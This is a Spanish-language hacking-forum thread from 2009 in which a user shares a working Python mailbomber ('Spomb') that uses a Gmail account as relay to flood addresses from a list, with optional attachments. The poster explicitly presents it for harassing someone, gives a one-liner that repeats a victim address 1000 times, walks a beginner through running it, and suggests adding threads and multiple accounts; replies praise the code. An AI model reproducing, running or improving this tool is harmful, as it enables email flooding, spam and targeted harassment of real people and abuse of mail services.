elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 15:50  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Mailbomber utilizando Gmail como relay
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mailbomber utilizando Gmail como relay  (Leído 4,035 veces)
xーいぱ

Desconectado Desconectado

Mensajes: 17


Serial Experiments


Ver Perfil WWW
Mailbomber utilizando Gmail como relay
« en: 30 Junio 2009, 05:04 »

Buenas, mi primer post y me parece copado compartirlo con una tool simple hecha en python.
La misma utiliza un user y pass de gmail con los cuales envia correos a una lista de destinatarios.
Se mantiene el autor original, yo simplemente codifique para que envie opcionalmente attachments, mejore el loggin ante problemas en el envio del correo y arregle la parte de loop sobre la lista de emails que no funcionaba ...
Que lo disfruten ... si hacen mejoras, pues compartan.

Código:

#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
#                                         www.beenuarora.com   #
################################################################
#   Thanks to low1z for initial script
#   Greetz to all darkc0de memeber
#   Modified to support attachments, gives more descriptive errors
#   and loop correctly by lain.
#
#   If you found some kights outhere, plz let me know ...

import os, smtplib, mimetypes, time, sys, urllib, urllib2, socket

from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEBase import MIMEBase
from email import Encoders
 
 
def sendMail(recipient, attachment):
    """ send mail using gmail user and password
    """
   
    port = 587
    relay = 'smtp.gmail.com'
    gmailUser = 'id@gmail.com'              # your gmail ID
    gmailPassword = 'secret'                # your gmail password
    subject = 'Null'                        # subject from email
    text = 'Text'                           # text / body from email
   
    msg = MIMEMultipart()
    msg['From'] = gmailUser         
    msg['To'] = recipient
    msg['Subject'] = subject
    msg.attach(MIMEText(text))
   
    # If we have something attached ...
    if attachment != None:
        part = MIMEBase('application', "octet-stream")
        part.set_payload( open(attachment,"rb").read() )
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'
                                            % os.path.basename(attachment))
        msg.attach(part)
   
    mailServer = smtplib.SMTP(relay, port)

    # try to use TLS
    try:   
        mailServer.starttls()
    except(smtplib.SMTPHeloError):
        print "The server didnt reply properly to the HELO greeting.\n"
    except(smtplib.SMTPException):
        print "The server does not support the STARTTLS extension.\n"
    except(RuntimeError):
        print "SSL/TLS support is not available to your python interpreter.\n"

    # try to log in
    try:
        mailServer.login(gmailUser, gmailPassword)
    except(smtplib.SMTPAuthenticationError):
        print "Bad user / passwd\n"
   
    # try to send the email
    try:   
        mailServer.sendmail(gmailUser, recipient, msg.as_string())
    except(smtplib.SMTPRecipientsRefused):
        print "All recipients were refused. Nobody got the mail.            \
        The recipients attribute of the exception object is a dictionary    \
        with information about the refused recipients (like the one         \
        returned when at least one recipient was accepted).\n"
    except(smtplib.SMTPHeloError):
        print "The server didnt reply properly to the HELO greeting.\n"
    except(smtplib.SMTPSenderRefused):
        print ("The server didnt accept the from_addr: %s\n." % gmailUser)
    except(smtplib.SMTPDataError):
        print "The server replied with an unexpected error code (other than a refusal of a recipient."

    mailServer.close()
    print('[-] Sent email to %s [-] ' % recipient)
    if attachment:
        print ('\t--attached file: %s\n' % attachment)

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
        SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
        SysCls = 'cls'
else:
        SysCls = 'unknown'

os.system(SysCls)

print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com                                  |"
print "| Spomb v1.0                                                    |"
print "|   Do Visit     www.BeenuArora.com      &        darkc0de.com  |"
print "|                                                               |"
print "| Modified by Lain ...                                          |"
print "| sxnet.com.ar                                                  |"
print "|                                                               |"
print "| ... under GPL, keep author info ...                           |"
print "|---------------------------------------------------------------|\n"

# We should have 3 arguments
if len(sys.argv) < 2:
        print "\nUsage: ./spammer.py list.txt <attachment file>"
        print "Ex: ./spomb.py list.txt <attachment file>\n"
        sys.exit(1)

# First, the file with the emails
email_list = sys.argv[1]
try:
        addresses = open(email_list, 'r')
except (IOError):
        print " \n\nSpamming List Missing ..Exiting :("
        sys.exit(0)

# Second, the attachment (this is optional)
if len(sys.argv) == 3:
    attachment = sys.argv[2]
else:
    attachment = None
       
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
        os.system('stty -echo')
       
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
        os.system('stty echo')

# Iterate over the email accounts
for address in addresses:
        recipient = address[:-1]
        try:
                sendMail(recipient, attachment)
                time.sleep(10)
        except(urllib2.URLError, socket.timeout, socket.gaierror, socket.error):
                        print ('Something Went Wrong ..Check Manually for Error\n')
        except(KeyboardInterrupt):
                        pass

print ('\n\nDone Mailing...')


Si quieren joderle la vida a alguien que no quieren mucho, pues es cuestion de hacer algo como ...

lain@lain-laptop:~$ python -c 'for i in range(1000): print "id@gmail.com"' > emails.txt
lain@lain-laptop:~$ ./spomb.py emails.txt

Pueden ajustar el sleep que es el tiempo que toma entre envio y envio, por defecto en 10s
                time.sleep(10)

Posibles mejoras serian que use threads y varias accounts distintas, al mismo tiempo, para enviar los correos.

Saludos.
En línea

I've just abandoned the flesh
manel92

Desconectado Desconectado

Mensajes: 77


Ver Perfil
Re: Mailbomber utilizando Gmail como relay
« Respuesta #1 en: 15 Julio 2009, 15:55 »

podrias decir como se compila esto por favor, es que yo en phyton ni puñetera idea. y otra cosa los codes que has puesto al final en donde se ponen?

gracias un saludo.
En línea
Darioxhcx


Desconectado Desconectado

Mensajes: 2.149


Ver Perfil
Re: Mailbomber utilizando Gmail como relay
« Respuesta #2 en: 15 Julio 2009, 15:57 »

podrias decir como se compila esto por favor, es que yo en phyton ni puñetera idea. y otra cosa los codes que has puesto al final en donde se ponen?

gracias un saludo.
lain@lain-laptop:~$ python -c 'for i in range(1000): print "id@gmail.com"' > emails.txt
lain@lain-laptop:~$ ./spomb.py emails.txt

for basado en python , para bombardear una casilla de correo

fucniona en win tanto como para linux ?
no se python , x eso pregunto
un saludo
En línea

digitalis


Desconectado Desconectado

Mensajes: 357


Ver Perfil WWW
Re: Mailbomber utilizando Gmail como relay
« Respuesta #3 en: 16 Julio 2009, 19:23 »

podrias decir como se compila esto por favor, es que yo en phyton ni puñetera idea. y otra cosa los codes que has puesto al final en donde se ponen?

gracias un saludo.
Python no se compila se interpreta.
En línea
xーいぱ

Desconectado Desconectado

Mensajes: 17


Serial Experiments


Ver Perfil WWW
Re: Mailbomber utilizando Gmail como relay
« Respuesta #4 en: 27 Julio 2009, 02:32 »

podrias decir como se compila esto por favor, es que yo en phyton ni puñetera idea. y otra cosa los codes que has puesto al final en donde se ponen?

gracias un saludo.

Buenas Bull22, pues:

lain@lain-laptop:~$ python -c 'for i in range(1000): print "id@gmail.com"' > emails.txt
Si usas linux, esto lo pones en un terminal. Lo que hace es escribir 'id@gmail.com' 1000 veces en un archivo emails.txt. El script en python, itera sobre este
archivo por lo que al encontrar 1000 veces 'id@gmail.com' envia 1000 emails a dicha cuenta.

lain@lain-laptop:~$ ./spomb.py emails.txt
Con este comando, ejecuta el script pasandole como argumento el fichero emails.txt, desde donde lee las casillas a donde debe enviar los emails :-)

Por otro lado, python es un lenguaje interpretado, con lo cual uno precisa del interprete de python.
El interprete de python, lee codigo python y lo 'compila' generando lo que se conoce como 'bytecode', cual luego ejecuta.

Saludos
En línea

I've just abandoned the flesh
xーいぱ

Desconectado Desconectado

Mensajes: 17


Serial Experiments


Ver Perfil WWW
Re: Mailbomber utilizando Gmail como relay
« Respuesta #5 en: 27 Julio 2009, 02:34 »

podrias decir como se compila esto por favor, es que yo en phyton ni puñetera idea. y otra cosa los codes que has puesto al final en donde se ponen?

gracias un saludo.
lain@lain-laptop:~$ python -c 'for i in range(1000): print "id@gmail.com"' > emails.txt
lain@lain-laptop:~$ ./spomb.py emails.txt

for basado en python , para bombardear una casilla de correo

fucniona en win tanto como para linux ?
no se python , x eso pregunto
un saludo

Python es multiplataforma, y el script utiliza librerias estandar del lenguaje, por lo cual si, funciona tanto en win como en linux.
Precisaras tener instalado el interprete de python >= 2.4 para que funciones :-)
Saludos.
En línea

I've just abandoned the flesh
El As del Club Paris


Desconectado Desconectado

Mensajes: 1.816


Ver Perfil WWW
Re: Mailbomber utilizando Gmail como relay
« Respuesta #6 en: 27 Julio 2009, 05:15 »

Buenísimo el code  ;D...

Estoy aprendiendo Python, ahora con GTK y todo eso..pero la verdad que quería darle una utilidad mas 'orientado al hacking' a python.

Saludos
En línea

sudo suck --mycock -o force
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
como inyectar ARP en redes 54e utilizando airoscript
Wireless en Linux
RedZer 2 2,094 Último mensaje 2 Abril 2011, 08:11
por RedZer
[SourceCode]MailBomber
.NET
CorruptedByte 11 675 Último mensaje 24 Febrero 2012, 15:32
por $Edu$
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines